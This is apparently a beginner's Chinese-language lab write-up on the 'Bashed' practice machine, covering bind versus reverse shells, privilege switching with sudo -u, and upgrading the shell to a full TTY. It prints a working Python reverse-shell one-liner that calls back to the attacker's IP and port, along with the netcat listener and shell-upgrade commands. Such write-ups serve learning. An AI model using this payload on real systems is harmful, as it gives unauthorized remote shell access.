昨天拿到 Webshell 之後,
我原本想說:
「有 Shell 了耶!!! 應該可以快樂跟目標機器Bashed互動,慢慢了解他了吧~」
結果用之後才發現,
好像沒有想像中那麼方便 xdd
尤其昨天在嘗試 sudo 的時候,完全感受到 Interactive 的限制 QQ
在滲透測試裡,常見的方式包含 Webshell、Bind Shell、Reverse Shell。
昨天拿到的 phpbash 是 Webshell。
它讓我們可以在網頁上對 Target 執行指令,
但實際上......
用起來還是有點卡卡的。
那有沒有其他方式,可以讓我們更方便地跟 Target 互動呢?
今天就來試試看另外兩種常見的 Shell :
Bind Shell 跟 Reverse Shell!
先來看兩者最大的差別 - 誰主動建立連線。
Bind Shell 是由 Target 開一個 Listener,等待我們連進去。
也就是攻擊者(現在的我們)主動連到 Target:
Bind Shell
我們 ─────────→ Target
主動連入
```
Reverse Shell 則是反過來,讓目標機器主動連回我們的機器(攻擊機)
Reverse Shell
我們 ←───────── Target
Target 主動連出
因為相較「裡面出去的連線」,防火牆通常較會擋「外面進來的連線」。Reverse Shell 是目標主動出去的,比較不容易被擋。所以我們選擇走Reverse Shell的方式
如果是 Bind Shell,我們需要從自己的攻擊機器主動連到目標機器開放的 Port。
但實際環境中,目標機器可能位在 Firewall、NAT 或其他網路限制後面,從外部直接連進去不一定能成功。
Reverse Shell 則是讓目標機器主動向外(向我們)建立連線。
相較「裡面出去的連線」,防火牆通常較會擋「外面進來的連線」
Reverse Shell 是由我們的目標機器(Bashed)主動連出來連到我們的,比較不容易被擋。所以我們選擇走Reverse Shell的方式
(當然,這不是代表 Reverse Shell 一定不會被 Firewall阻擋呦><)
這是今天在Bashed機器拿到的target ip: 10.129.72.206
不同目標環境,所能接受的Payload也不同,在決定Reverse Shell的Payload前,我們先一起來確認我們的目標環境~~~
uname -a確認kernel版本
which python3確認目標主機,有沒有Python
在 Pwnbox 的終端機跑:
nc -lvnp 4444
-l:監聽模式-v:顯示詳細資訊-n:不做 DNS 查詢-p 4444:監聽 Port 4444
至Reverse Shell Generator(Reverse Shell的生成網站),將IP改為我們的攻擊機IP(10.10.15.205),Port改為我們在前一步設定的監聽port(4444)
依據我們在Reverse Shell Payload製造前哨站,確認目標機器Bashed有Python3,我們選擇製作Python Reverse Payload
什麼???這是什麼???好可怕捏
我們請 AI 解答一下!
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
把我們在第二步製作出的Python Reverse Shell Payload,貼至phpbash.min.php的指令欄位,輸入
`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`
按Enter
這時候回到我們剛剛開著 nc 的終端機,
出現了:
Connection received on 10.129.72.206 39362
$
成功收到連線了!!!🥳
這個$代表我們現在已經成功拿到目標機器 Bashed 的 Shell哩!!!
我們從瀏覽器裡的 phpbash,變成可以直接在 Terminal 裡跟目標機器的 Shell 互動!!!
這兩個畫面之間,只有一行 Python 指令的距離(萬歲!!!
拿到 shell 之後,下whoami,確認我們現在是誰:
之前透過 phpbash.min.php 的 webshell 執行指令,有它的限制,像 sudo su 完全沒反應(昨天試過,深刻體會 QQ)。
現在這個 $ 是我們精心打造的 Python Reverse Shell,Bashed 主動連回我們的 Pwnbox,可以做 webshell 做不到的事><
下pwd,看看我們現在在哪!
/var/www/html/dev——這不是 Pwnbox 的路徑,是 Bashed 的檔案系統~
我們成功進到目標機器的 Shell 了!
我們下:
sudo su scriptmanager

發現要輸入我們自己www-data的密碼
但這個 Shell 是我透過 Webshell / Reverse Shell 拿到的,手上根本沒有 www-data 可以使用的密碼 QQ
昨天用 sudo -u 有成功,那換我們換sudo -u試試看!我們下sudo -u scriptmanager bash -i
sudo:讓我們用較高的權限執行指令,通常是以 root 身分執行-u scriptmanager:指定要用 scriptmanager 的身分執行bash:開啟 Bash Shell,可以把它想成讓我們在 Terminal 裡下指令的介面
-i:Interactive,開啟互動式 Shell,讓我們可以一直輸入指令、跟這個 Shell 互動
用whoami,確認我們現在的身分
確認兩次,我們成功切換成scriptmanager的身分了
但是……好像還是怪怪的?
雖然已經如願變成 scriptmanager,
但我的鍵盤......怎麼按 ↑、↓ 都沒反應......
這樣打過的指令我還要一直重打欸!
而且有時候按一些鍵,還會跑出奇怪的字元 XD

不是已經有 Reverse Shell 了嗎?
怎麼還是怪怪的?
所以我就上網查了一下:
Reverse Shell 為什麼不能使用上下鍵?
原來這跟 TTY 有關!
那 TTY 又是什麼???😂
TTY 就是讓我們拿到的 Shell,更像平常使用的 Terminal。
平常我們開 Terminal,
可以按 ↑、↓ 找之前打過的指令,
也可以正常使用鍵盤操作。
但現在這個 Reverse Shell,
雖然已經成功連進來了,
Shell 有了,但互動起來還是怪怪的。
所以接下來要做的,
就是把這個 Shell 升級成我們平常習慣的 Terminal,
至少可以正常按 ↑、↓ 找之前打過的指令,
不能叫我每次都打一遍吧 XD
這個過程就叫:TTY Upgrade
雖然現在已經有 Reverse Shell 了,
但用起來還是不太好用。
像是按鍵盤 ↑、↓ 想找之前打過的指令,
什麼都沒找到,反而得到一堆亂碼 XD
現在就來把它升級成比較完整的 TTY吧~~~
升級成完整的 TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
那 PTY 是什麼?
PTY 全名是 Pseudo Terminal(虛擬終端機)~
可以簡單把它想成:
是來幫我們模擬一個比較像正常 Terminal 環境的好戰友><
我們現在拿到的 Reverse Shell,
雖然可以下指令,
但跟平常開 Terminal 還是有一段差距。
透過 PTY,可以讓這個 Shell 更像平常使用的 Terminal~

然後:
Ctrl+Z # 把 shell 推到背景
stty raw -echo # 讓終端機的按鍵直接傳到 shell,不經過本機處理
fg # 把 shell 拉回前景
export TERM=xterm # 設定終端機類型


ㄚㄚㄚㄚ沒有成功!!!
不是說這樣就能升級成可以切換上下鍵、也不會任意斷掉的 Shell ㄇ?????
TTY 騙我~~~~
我要找 AI !!!
AI老師的教導下,
這次我們一定會成功><
我們先重新監聽一次:
接著輸入 Reverse Shell Payload,按 Enter:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
,按Enter
回到我們的 Terminal,發現成功拿到 Reverse Shell!🎉
接著用 sudo -u 重新變回 scriptmanager:
再來重新做一次 TTY Upgrade:
python -c 'import pty; pty.spawn("/bin/bash")'

AI云~~~
接下來按鍵盤的 Ctrl+Z
(是按喔~~不是打字,是真的按這兩個鍵!!!)
→ Shell 會暫時被推到背景,我們會回到 Pwnbox

但當下看到又跳回 Pwnbox,
還是嚇了一下 ><
以為又失敗ㄌ~~這次連 AI 都騙我 QQ
但 AI 說這其實是邁向成功的道路。
現在我們已經回到 Pwnbox,
繼續執行:
stty raw -echo
stty raw -echo 做了兩件事:
raw:讓我們按的鍵,直接傳給遠端 Shell-echo:不要把我們按的鍵顯示在畫面上反正就是來協助我們繼續完成 TTY Upgrade><

接著輸入 fg
奇怪!!!怎麼打了螢幕都沒出現,Terminal 壞掉了ㄇ!!!
重新 Open 我們的 Pwnbox,還是一樣!!!
太怪了!我們再問看看 AI><
(稍等片刻......)
AI 解答囉!!!
AI 說 stty raw -echo 執行之後,
Terminal 可能會變得奇奇怪怪,
看起來就像卡住~~~
但!不要怕!
直接盲打 fg,然後按 Enter,
就算看不到字也沒關係,
盲打就好~~
按 Enter 之後,
應該會回到 scriptmanager@bashed,我們再輸入:export TERM=xterm

看到最後一行:
scriptmanager@bashed:/var/www/html/dev$
TTY 升級完成囉!🎉
雖然下面的 fg: no such job 看起來有點怪 XD
但先不用管它,
我們直接用 whoami 驗證一下就知道了~
whoami → scriptmanager ✅
成功了!!!
現在是 scriptmanager 的身份了~
原本拿到 Reverse Shell 的時候,雖然可以下指令,但互動起來還是卡卡的><
經過 TTY Upgrade 之後,終於變成比較好操作的 Shell 了~
最後來大大誇獎我們自己吧 🎉
今天達成了一件不可能的任務——從零開始,自己選出適合的 reverse shell、自己打開監聽、自己在 phpbash 貼上 payload,然後看著終端機跳出~~~
Connection received on 10.129.72.206 39362
$
這個 $ 不是隨便一個符號,是成功的象徵!!!
我們真的從 Webshell,透過 Payload 變成 Reverse Shell 了耶~~~ 🎉
reverse shell 的概念看起來很複雜——nc.exe、php、python......等等,Reverse Generator 網頁出現一大堆選項 都要頭昏眼花ㄌxddd
但今天走完一遍之後才發現,只要搞清楚「目標有什麼環境、選對應的 payload、開好監聽等著接」,一步一步都是通往成功的道路><
而且第一次就彈成功了耶!
我們真棒!!!🥳